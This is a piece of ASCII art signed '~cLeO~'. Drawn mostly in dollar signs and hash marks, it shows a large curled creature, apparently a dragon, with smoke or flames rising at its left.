                                 "$$$$$$$$$$$$$$$$$$$$$####s""     .$$$|
                                   "$$$$$$$$$$$$$$$$$$$$$$$$##s    .$$" $
                                   $$""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"   `
                                  $$"  "$"$$$$$$$$$$$$$$$$$$$$S""""'
                             ,   ,"     '  $$$$$$$$$$$$$$$$####s
                             $.          .s$$$$$$$$$$$$$$$$$####"
                 ,           "$s.   ..ssS$$$$$$$$$$$$$$$$$$$####"
                 $           .$$$S$$$$$$$$$$$$$$$$$$$$$$$$#####"
                 Ss     ..sS$$$$$$$$$$$$$$$$$$$$$$$$$$$######""
                  "$$sS$$$$$$$$$$$$$$$$$$$$$$$$$$$########"
           ,      s$$$$$$$$$$$$$$$$$$$$$$$$#########""'
           $    s$$$$$$$$$$$$$$$$$$$$$#######""'      s'         ,
           $$..$$$$$$$$$$$$$$$$$$######"'       ....,$$....    ,$
            "$$$$$$$$$$$$$$$######"' ,     .sS$$$$$$$$$$$$$$$$s$$
              $$$$$$$$$$$$#####"     $, .s$$$$$$$$$$$$$$$$$$$$$$$$s.
   )          $$$$$$$$$$$#####'      `$$$$$$$$$###########$$$$$$$$$$$.
  ((          $$$$$$$$$$$#####       $$$$$$$$###"       "####$$$$$$$$$$
  ) \         $$$$$$$$$$$$####.     $$$$$$###"             "###$$$$$$$$$   s'
 (   )        $$$$$$$$$$$$$####.   $$$$$###"                ####$$$$$$$$s$$'
 )  ( (       $$"$$$$$$$$$$$#####.$$$$$###'     ~cLeO~     .###$$$$$$$$$$"
 (  )  )   _,$"   $$$$$$$$$$$$######.$$##'                .###$$$$$$$$$$
 ) (  ( \.         "$$$$$$$$$$$$$#######,,,.          ..####$$$$$$$$$$$"
(   )$ )  )        ,$$$$$$$$$$$$$$$$$$####################$$$$$$$$$$$"
(   ($$  ( \     _sS"  `"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$S$$,
 )  )$$$s ) )  .      .   `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"'  `$$
  (   $$$Ss/  .$,    .$,,s$$$$$$##S$$$$$$$$$$$$$$$$$$$$$$$$S""        '
    \)_$$$$$$$$$$$$$$$$$$$$$$$##"  $$        `$$.        `$$.
        `"S$$$$$$$$$$$$$$$$$#"      $          `$          `$
            `"""""""""""""'         '           '           '

